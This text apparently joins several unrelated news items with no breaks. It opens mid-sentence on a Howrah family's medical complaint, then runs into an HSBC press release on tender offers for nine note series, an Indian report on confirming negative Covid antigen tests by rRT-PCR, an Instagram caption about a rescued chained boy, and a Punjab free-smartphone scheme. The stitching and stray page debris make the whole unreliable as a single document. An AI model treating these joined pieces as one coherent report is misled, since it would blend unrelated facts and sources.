bereaved," said Ramesh Gupta, the victim's brother. Meanwhile, the family has already lodged a written complaint with the office of the district Chief Medical Officer of Health (CMOH). The officials of Howrah Municipal Corporation (HMC), the state's second largest civic body after the Kolkata Municipal Corporation (KMC), also assured that necessary action would be taken in the matter. "The civic body will definitely look into the issue," a senior HMC official said. NEW YORK, Aug. 11, 2020 /PRNewswire/ -- HSBC Holdings plc (the "Company," "we" or "us") has announced the anticipated launch of nine separate offers to purchase for cash any and all of the outstanding series of notes listed in the table below. The launch of the Offers (as defined below) is expected to be at or around 10:00 a.m. (New York City time) on August 11, 2020 (the "Launch Date"). The Offer Documents will be available from 10:00 a.m. (New York City time) on the Launch Date at the following link: https://www.gbsc-usa.com/hsbc/ . We refer to the outstanding notes listed in the table below collectively as the "Notes" and separately as a "series" of Notes. We refer to each offer to purchase a series of Notes as an "Offer", and collectively as the "Offers". The Offers are made upon the terms and subject to the conditions set forth in the Offer to Purchase dated August 11, 2020 relating to the Notes (the "Offer to Purchase") and the related notice of guaranteed delivery (the "Notice of Guaranteed Delivery," and together with the Offer to Purchase, the "Offer Documents"). As of the date of the Offer to Purchase, the aggregate outstanding principal amount of Notes subject to the Offers is $13,346,561,000. Acceptance Priority Level(1) Title of Notes(2) CUSIP Maturity Date Principal Amount Outstanding Reference Security Fixed Spread Fixed Price(3) 1 2.650% Senior Unsecured Notes due January 2022 404280BF5 Jan. 5, 2022 $2,500,000,000 UST 1.625% due December 31, 2021 (US912828YZ72) +20 basis points ("bps") N/A 2 4.875% Senior Unsecured Notes due January 2022 404280AL3 Jan. 14, 2022 $900,000,000 UST 1.625% due December 31, 2021 (US912828YZ72) +20 bps N/A 3 4.000% Senior Unsecured Notes due March 2022 404280AN9 March 30, 2022 $2,000,000,000 UST 0.375% due March 31, 2022 (US912828ZG82) +20 bps N/A 4 Floating Rate Senior Unsecured Notes due January 2022 404280BG3 Jan. 5, 2022 $1,250,000,000 N/A N/A $1,018.88 5 2.950% Senior Unsecured Notes due May 2021 404280AY5 May 25, 2021 $2,500,000,000 UST 2.625% due May 15, 2021 (US9128284P22) +10 bps N/A 6 Floating Rate Senior Unsecured Notes due March 2021 404280AX7 March 8, 2021 $1,000,000,000 N/A N/A $1,012.28 7 Floating Rate Senior Unsecured Notes due May 2021 404280AZ2 May 25, 2021 $1,000,000,000 N/A N/A $1,012.44 8 3.400% Senior Unsecured Notes due March 2021 404280AV1 March 8, 2021 $1,164,307,000 UST 1.125% due February 28, 2021 (US912828P873) +10 bps N/A 9 5.100% Senior Unsecured Notes due April 2021 404280AK5 April 5, 2021 $1,032,254,000 UST 1.250% due March 31, 2021 (US912828Q376) +10 bps N/A (1) We will accept Notes in the order of their respective Acceptance Priority Level specified in the table above, subject to the satisfaction of the Financing Condition (as defined within the Offer to Purchase). It is possible that the Financing Condition might not be met with respect to any series of Notes with any Acceptance Priority Level, and such series of Notes will not be accepted for purchase, even if one or more series of Notes with a lower Acceptance Priority Level is accepted for purchase. (2) The 3.400% Senior Unsecured Notes due March 2021, the 5.100% Senior Unsecured Notes due April 2021, the 2.950% Senior Unsecured Notes due May 2021, the 4.875% Senior Unsecured Notes due January 2022, the 2.650% Senior Unsecured Notes due January 2022 and the 4.000% Senior Unsecured Notes due March 2022 are collectively referred to as the "Fixed Rate Notes." The Floating Rate Senior Unsecured Notes due March 2021, the Floating Rate Senior Unsecured Notes due May 2021 and the Floating Rate Senior Unsecured Notes due January 2022 are collectively referred to as the "Floating Rate Notes." (3) Per $1,000 principal amount. The purpose of the Offers is to improve HSBC's liabilities structure, as the Notes cease to qualify as eligible liabilities items under CRR once they have a residual maturity of less than 12 months. "CRR" refers to regulation (EU) No 575/2013 of the European Parliament and of the Council of June 26, 2013 on prudential requirements for credit institutions and investment firms and amending regulation (EU) No 648/2012, as amended, supplemented or replaced from time to time, and (where relevant) any applicable successor EU or UK legislation. Each Offer will expire at 5:00 p.m. (New York City time) on August 18, 2020, unless extended or earlier terminated by the Company in its sole discretion (such date and time with respect to an Offer, as the same may be extended, the "Expiration Time"). Notes tendered for purchase may be validly withdrawn at any time at or prior to 5:00 p.m. (New York City time) on August 18, 2020 (such date and time with respect to an Offer, as the same may be extended, the "Withdrawal Date"), but not thereafter, unless extended or earlier terminated with respect to an Offer by the Company in its sole discretion. We expect the Settlement Date to occur on the third business day after the Expiration Time, or August 21, 2020, unless extended or earlier terminated in respect of an Offer by the Company in its sole discretion (such date with respect to an Offer, as the same may be extended, the "Settlement Date"). Each Offer is independent of the other Offers, and we may terminate, modify or waive the conditions of any Offer without terminating, modifying or waiving the conditions of any other Offer. Upon the terms and subject to the conditions set forth in the Offer Documents, holders who (i) validly tender Notes at or prior to the Expiration Time or (ii) validly tender Notes at or prior to the Guaranteed Delivery Date pursuant to the Guaranteed Delivery Procedures (each as defined in the Offer to Purchase), and whose Notes are accepted for purchase by us, will receive consideration for each $1,000 principal amount of each series of Notes, which will be payable in cash on the Settlement Date as described below (the "Consideration"). The Consideration applicable to each series of Floating Rate Notes validly tendered and accepted by us pursuant to the Offers will be the Fixed Price specified in the table above for such series of Notes. The Consideration applicable to each series of Fixed Rate Notes validly tendered and accepted by us pursuant to the Offers will be calculated at or around 11:00 a.m. (New York City Time) on August 18, 2020 (such date and time with respect to an Offer, as the same may be extended by the Company in its sole discretion, the "Price Determination Date"), in accordance with the formula set forth in the Offer to Purchase and with standard market practice, using the applicable "Offer Yield," which will be equal to the sum of: a) the applicable "Reference Yield," as determined by the Dealer Manager, that corresponds to the bid-side yield of the Reference Security specified in the table above for such series of Fixed Rate Notes appearing on the Price Determination Date, such yield being directly quoted on the Bloomberg Reference Page (as defined below) and being rounded to the nearest 0.001 per cent. (with 0.0005 per cent. being rounded up), plus b) the Fixed Spread specified in the table above for such series of Notes. Accordingly, the Consideration payable by us for each $1,000 principal amount of each series of Fixed Rate Notes accepted by us will equal: (i) the present value on the Settlement Date of $1,000 principal amount of such Fixed Rate Notes due on the maturity date of such Fixed Rate Notes and all scheduled interest payments on such $1,000 principal amount of such Fixed Rate Notes to be made from (but excluding) the Settlement Date up to and including such maturity date, discounted to the Settlement Date at a discount rate equal to the applicable Offer Yield, minus (ii) the Accrued Interest per $1,000 principal amount of such Fixed Rate Notes; such total amount being rounded to the nearest cent per $1,000 principal amount of such Notes, and the above calculation being made in accordance with standard market practice as described by the formula set forth in the Offer to Purchase. The "Bloomberg Reference Page" means the page on Bloomberg from which the Dealer Manager will observe the bid-side yield of the Reference Security for each series of Fixed Rate Notes, which is expected to be PX3 or PX4, as applicable (or any other recognized quotation source selected by us in consultation with the Dealer Manager if such quotation source is not available or manifestly erroneous). As soon as reasonably practicable after the Price Determination Date, the Company will issue a press release specifying the Consideration for each series of Fixed Rate Notes validly tendered and accepted. In addition to the Consideration, holders whose Notes of a given series are accepted for purchase will also be paid a cash amount equal to accrued and unpaid interest on such Notes from, and including, the last interest payment date for such Notes to, but not including, the Settlement Date, rounded to the nearest cent (such amount in respect of a series of Notes, "Accrued Interest"). Accrued Interest will be payable on the Settlement Date. For the avoidance of doubt, interest will cease to accrue on the Settlement Date for all Notes accepted in the Offers. Under no circumstances will any interest be payable to holders because of any delay on the part of Global Bondholder Services Corporation, as depositary, The Depository Trust Company ("DTC") or any other party in the transmission of funds to holders. On the date of the Offer to Purchase, the Company launched a proposed new issuance (the "Proposed Issuance") of senior unsecured debt securities in one or more series (the "New Notes") which are not subject to the Offers. It is expected that the Offers will be financed with the net cash proceeds from the issuance of such New Notes, along with cash on hand, if necessary. No assurance can be given that the Proposed Issuance will be completed. The Offers are subject to the terms and conditions described in the Offer Documents. In particular, the Company's obligation to complete an Offer with respect to a particular series of Notes is conditioned on satisfaction of the "Financing Condition", meaning (1) the Proposed Issuance has been successfully completed on terms and conditions satisfactory to the Company in its sole discretion and (2) the aggregate principal amount of the Proposed Issuance, as set forth in an announcement at or around 10:00 a.m. (New York City Time) on August 12, 2020 (the "Total Available Amount"), is sufficient to fund the sum of (a) the Consideration (excluding Accrued Interest) for all validly tendered and not validly withdrawn Notes of such series plus (b) the aggregate Consideration (excluding Accrued Interest) for all validly tendered and not validly withdrawn Notes of each series having a higher "Acceptance Priority Level" (as specified in the above table, with 1 being the highest Acceptance Priority Level and 9 being the lowest Acceptance Priority Level), other than Excluded Notes (as defined below). Notwithstanding any other provision in the Offer to Purchase to the contrary, if the Financing Condition is not satisfied for a particular series of Notes, at any time at or prior to the Expiration Time, then (1) we will not be obligated to accept for purchase such series of Notes and will terminate the Offer with respect to such series of Notes (such series of Notes, "Excluded Notes"), and (2) if there is any series of Notes having a lower Acceptance Priority Level for which the Financing Condition is satisfied, meaning the Total Available Amount is equal to or greater than the sum of: a) the Consideration necessary to purchase all validly tendered and not validly withdrawn Notes of such series (excluding Accrued Interest), plus b) the aggregate Consideration necessary to purchase all validly tendered and not validly withdrawn Notes of all series having a higher Acceptance Priority Level than such series of Notes, other than the Excluded Notes (in each case, excluding Accrued Interest), then all Notes of such series having a lower Acceptance Priority Level will be accepted for purchase, and the Financing Condition will be applied at each subsequent Acceptance Priority Level until there is no series of Notes with a lower Acceptance Priority Level to be considered for purchase for which the Financing Condition is met. It is possible that any series of Notes with any Acceptance Priority Level will fail to meet the Financing Condition and therefore will not be accepted for purchase even if one or more series with a lower Acceptance Priority Level is accepted for purchase. If any series of Notes is accepted for purchase under the Offers, all Notes of that series that are validly tendered and not validly withdrawn will be accepted for purchase. As a result, no series of Notes accepted for purchase will be prorated. The Company reserves the right to amend or waive any of the conditions of the Offers, in whole or in part, at any time or from time to time, in our sole discretion, subject to applicable law. If any of the conditions are not satisfied at the Expiration Time with respect to an Offer, we may, in our sole discretion and without giving any notice, subject to applicable law, (a) terminate such Offer, (b) extend such Offer, on the same or amended terms, and thereby delay acceptance of any validly tendered Notes, or (c) continue to accept tenders. We will, in connection with the allocation of the New Notes in the Proposed Issuance, consider among other factors whether or not the relevant investor seeking an allocation of the New Notes has, prior to such allocation, validly tendered or given a firm intention to us or the Dealer Manager that they intend to tender their Notes pursuant to the Offers and, if so, the aggregate principal amount of Notes tendered or intended to be tendered by such investor. Therefore, a holder who wishes to subscribe for New Notes in addition to tendering its Notes for purchase pursuant to the Offers may be eligible to receive, at the sole and absolute discretion of the Company, priority in the allocation of the New Notes, subject to the issue of the New Notes and such holder also making a separate application for the purchase of such New Notes to the managing bookrunner of the issue of the New Notes in accordance with the standard new issue procedures of such bookrunner. However, we are not obliged to allocate the New Notes to a holder who has validly tendered or indicated a firm intention to tender Notes pursuant to the Offers and, if New Notes are allocated, the principal amount thereof may be less or more than the principal amount of Notes tendered by such holder and accepted by us pursuant to the Offers. All Notes accepted in the Offers will be cancelled and retired, and will no longer remain outstanding obligations of the Company. Holders of Notes are advised to read carefully the Offer to Purchase for full details of and information on the procedures for participating in the Offers. The Company has retained HSBC Bank plc as Dealer Manager for the Offers (the "Dealer Manager"). Questions and requests for assistance related to the Offers may be directed to the Dealer Manager at UK: +44 (0)20 7992 6237, US: +1 (212) 525-5552 (Collect) or +1 (888) HSBC-4LM (Toll Free), or by email at [email protected]. Global Bondholder Services Corporation will act as the information agent (the "Information Agent"). Questions or requests for assistance related to the Offers or for additional copies of the Offer Documents may be directed to the Information Agent at (866) 470-4300 (toll free) or (212) 430-3774 (banks and brokers). You may also contact your broker, dealer, custodian bank, trust company or other nominee for assistance concerning the Offers. If the Company terminates an Offer, all Notes tendered pursuant to such Offer will be returned promptly to the tendering holders thereof. Holders of Notes are advised to check with any bank, securities broker or other intermediary through which they hold Notes as to when such intermediary would need to receive instructions from a beneficial owner in order for that beneficial owner to be able to participate in, or withdraw their instruction to participate in, an Offer before the deadlines specified herein and in the Offer to Purchase. The deadlines set by any such intermediary and DTC for the submission and withdrawal of tender instructions will also be earlier than the relevant deadlines specified herein and in the Offer to Purchase. This announcement is for informational purposes only and does not constitute an offer to purchase or sell, or a solicitation of an offer to purchase or sell, any security. No offer, solicitation, or sale will be made in any jurisdiction in which such an offer, solicitation, or sale would be unlawful. The Offers are only being made pursuant to the Offer to Purchase. Holders of the Notes are urged to carefully read the Offer to Purchase before making any decision with respect to the Offers. United Kingdom. This communication and any other documents or materials relating to the Offers are not being made and such documents and/or materials have not been approved by an authorized person for the purposes of section 21 of the Financial Services and Markets Act 2000. Accordingly, this communication and such documents and/or materials are not being distributed to, and must not be passed on to, persons in the United Kingdom other than (i) to those persons in the United Kingdom falling within the definition of investment professionals (as defined in Article 19(5) of the Financial Services and Markets Act 2000 (Financial Promotion) Order 2005 (the "Financial Promotion Order")), (ii) to those persons who are within Article 43(2) of the Financial Promotion Order, including existing members and creditors of HSBC Holdings, (iii) to those persons who are outside the United Kingdom, or (iv) to any other persons to whom it may otherwise lawfully be made under the Financial Promotion Order (all such persons together being referred to as "Relevant Persons") and the transactions contemplated by the Offer to Purchase will be available only to, and engaged in only with, Relevant Persons. Any person who is not a Relevant Person should not act on or rely on this communication or any of its contents. Belgium. Neither this communication nor any other documents or materials relating to the Offers have been submitted to or will be submitted for approval or recognition to the Financial Services and Markets Authority ("Autorite des services et marches financiers / Autoriteit financiele diensten en markten") and, accordingly, the Offers may not be made in Belgium by way of a public offering, as defined in Articles 3 and 6 of the Belgian Law of 1 April 2007 on public takeover bids (the "Belgian Takeover Law") as amended or replaced from time to time. Accordingly, the Offers may not be advertised and the Offers will not be extended, and neither this communication nor any other documents or materials relating to the Offers (including any memorandum, information circular, brochure or any similar documents) has been or shall be distributed or made available, directly or indirectly, to any person in Belgium other than (i) to "qualified investors" in the sense of Article 10 of the Belgian Law of 16 June 2006 on the public offer of placement instruments and the admission to trading of placement instruments on regulated markets, acting on their own account or (ii) in any circumstances set out in Article 6, 4 of the Belgian Takeover Law. This communication has been issued only for the personal use of the above qualified investors and exclusively for the purpose of the Offers. Accordingly, the information contained in this communication may not be used for any other purpose or disclosed to any other person in Belgium. Italy. None of the Offers, this communication or any other document or materials relating to the Offers have been or will be submitted to the clearance procedures of the Commissione Nazionale per le Societa e la Borsa ("CONSOB") pursuant to Italian laws and regulations. The Offers are being carried out in the Republic of Italy as exempted offers pursuant to article 101-bis, paragraph 3-bis of the Legislative Decree No. 58 of 24 February 1998, as amended (the "Financial Services Act") and article 35-bis, paragraph 4 of CONSOB Regulation No. 11971 of 14 May 1999, as amended. Holders or beneficial owners of the Notes that are located in Italy can tender the Notes for purchase in the Offers through authorized persons (such as investment firms, banks or financial intermediaries permitted to conduct such activities in the Republic of Italy in accordance with the Financial Services Act, CONSOB Regulation No. 20307 of 15 February 2018, as amended from time to time, and Legislative Decree No. 385 of 1 September 1993, as amended) and in compliance with applicable laws and regulations or with requirements imposed by CONSOB or any other Italian authority. Each intermediary must comply with the applicable laws and regulations concerning information duties vis-a-vis its clients in connection with the Notes and/or the Offers. Hong Kong. This communication and any other documents or materials relating to the Offers and/or the debt securities is not being made in Hong Kong, by means of any document, other than (i) in circumstances which do not constitute an offer to the public within the meaning of the Companies (Winding Up and Miscellaneous Provisions) Ordinance (Cap. 32, Laws of Hong Kong) (the "CWUMPO"), or (ii) to "professional investors" as defined in the Securities and Futures Ordinance (Cap. 571, Laws of Hong Kong) (the "SFO") and any rules made thereunder, or (iii) in other circumstances which do not result in the document being a "prospectus" as defined in the CWUMPO. No invitation, advertisement or document relating to the Offers and/or the Notes has been or will be issued, or has been or will be in the possession of any person for the purpose of issue (in each case whether in Hong Kong or elsewhere), which is directed at, or the contents of which are likely to be accessed or read by, the public in Hong Kong (except if permitted to do so under the securities laws of Hong Kong) other than with respect to the Offers and/or the Notes which are or are intended to be disposed of only to persons outside Hong Kong or only to "professional investors" as defined in the SFO and any rules made thereunder. Canada. Any offer or solicitation in Canada must be made through a dealer that is appropriately registered under the laws of the applicable province or territory of Canada, or pursuant to an exemption from that requirement. Where the Dealer Manager or any affiliate thereof is a registered dealer or able to rely on an exemption from the requirement to be registered in such jurisdiction, the Offers shall be deemed to be made by such Dealer Manager, or such affiliate, on behalf of the relevant company in that jurisdiction. France. None of the Offers are being made, directly or indirectly, to the public in the Republic of France ("France"). This communication and any other document or material relating to the Offers has been or shall be distributed to the public in France and only (i) providers of investment services relating to portfolio management for the account of third parties (personnes fournissant le service d'investissement de gestion de portefeuille pour compte de tiers) and/or (ii) qualified investors (investisseurs qualifies), other than individuals, acting for their own account, all as defined in, and in accordance with, Articles L.411-1, L.411-2 and D.411-1 of the French Code monetaire et financier, are eligible to participate in the Offer. This communication has not been and will not be submitted for clearance to nor approved by the Autorite des Marches Financiers. Cautionary Statement Regarding Forward-Looking Statements In this communication the Company has made forward-looking statements. All statements other than statements of historical fact are, or may be deemed to be, forward-looking statements. Forward-looking statements may be identified by the use of terms such as "believes," "expects," "estimate," "may," "intends," "plan," "will," "should," "potential," "reasonably possible" or "anticipates" or the negative thereof or similar expressions, or by discussions of strategy. We have based the forward-looking statements on current expectations and projections about future events. These forward-looking statements are subject to risks, uncertainties and assumptions about us, as described under "Risk Factors" in our Offer to Purchase. We undertake no obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. In light of these risks, uncertainties and assumptions, the forward-looking events discussed herein might not occur. You are cautioned not to place undue reliance on any forward-looking statements, which speak only as of their dates. Investor enquiries to: Greg Case +44 (0) 20 7992 3825 [email protected] Media enquiries to: Ankit Patel +44 (0) 20 7991 9813 [email protected] Note to editors: HSBC Holdings plc HSBC Holdings plc, the parent company of the HSBC Group, is headquartered in London. HSBC serves customers worldwide from offices in 64 countries and territories in our geographical regions: Europe, Asia, North America, Latin America, and Middle East and North Africa. With assets of US$2,923bn at 30 June 2020, HSBC is one of the world's largest banking and financial services organisations. SOURCE HSBC Holdings plc The Centre has asked states to use real-time reverse transcription-polymerase chain reaction (rRT-PCR) method to test asymptomatic people who develop Covid-19 symptoms after testing negative following rapid antigen testing. The moderate-to-low sensitivity of antigen tests has raised concerns of large number false negatives cases being detected. We are fully seized of the problem [of the higher number of negatives] and which is why we have directed states to mandatorily repeat rRT-PCR testing for confirmation. It was not the states complaining rather a health ministry proactively directing the states to focus on this issue, said Union health ministry secretary Rajesh Bhushan. We have directed states to not just mandatorily conduct rRT-PCR tests of all symptomatic negatives of rapid antigen tests to confirm Covid-19 but also monitor asymptomatic and pre-symptomatic people for a few days and test them also using rRT-PCR if they turn symptomatic. If both these categories are covered, then we will be able to capture most of the Covid-19 cases who would have otherwise been missed. Indian Council of Medical Research (ICMR) approved antigen-based testing for Covid-19 diagnosis in India on June 14. The move has helped in ramping up testing as part of the governments test, track, and treat strategy to control the spread of the infection. An antigen is a foreign molecule that induces an immune response in the body in the form of the production of antibodies against the disease. Detecting its presence through an antigen-based test determines infection. According to ICMR, antigen-based testing accounts for about 25-30% of all tests being performed in the country. Dr Ekta Gupta, a senior virologist at Delhi government-run Institute of Liver and Biliary Sciences, said a testing kits performance is purely dependent on its ability to accurately detect true positives and true negatives, which is called the sensitivity and specificity, wherein higher sensitivity means more accurate results. Antigen tests, because of their moderate sensitivity, are good at detecting positives accurately and for negative results one should repeat the test using rRT-PCR testing method that is considered to be the gold standard in diagnosing a current infection. An ICMR official, who did not wish to be identified, said their guidelines clearly mention that all symptomatic cases, whose rapid antigen test results are negative, should undergo a confirmatory rRT-PCR test. ICMR has drafted comprehensive testing guidelines and to get accurate results, it is important to comply with the guidelines... The guidelines need to be uniformly followed. Dr CS Bedi, medical advisor, SD Biosensor, the first company whose antigen-based test kit was approved, said: The results also depend on where the swab is collected; it should be nasopharyngeal swab and not just nasal swab. Many technicians have had been taking nasal swabs as they are used to RT-PCR way of sample collection that affected the result. If there is no virus in the sample, it will test negative. SHARE THIS ARTICLE ON View this post on Instagram Moment epileptic boy chained for two years alongside animals is rescued. . An 11-year-old boy named Jibril Aliyu was rescued by human rights activists after he was chained for two years by his family in Kebbi state. . His father and his three wives have been arrested for the ill treatment they subjected the boy to. Capt Amarinder Singh Chandigarh: The Punjab government said that it will start distributing smartphones to students for free on August 12. To avoid large gatherings, the launch of the distribution scheme will be organised at 26 different locations in Chandigarh and Punjab. Advertisement Punjab governmentAll district headquarters and some major towns will be covered on this day. Not more than 15 students studying in that town/district will be invited at each location for handing over the smartphones, according to a government statement. The state government had already announced to give smartphones to all boys and girls studying in Class 12 of the government schools across the state. Advertisement Chief Minister Amarinder Singh said the government has chosen the auspicious occasion of 'Janmashtami' to launch the scheme. Capt Amarinder SinghCoincidentally, August 12 is also the International Youth Day, he said. Singh said the state government would fulfil its promise to people by providing them smartphones, adding these phones will be extremely helpful to the youth in accessing information as well as other learning material posted by the department of school education. Advertisement The state government received the first consignment of 50,000 smartphones and the remaining was in the pipeline. In the first phase, around 1.75 lakh phones would be given.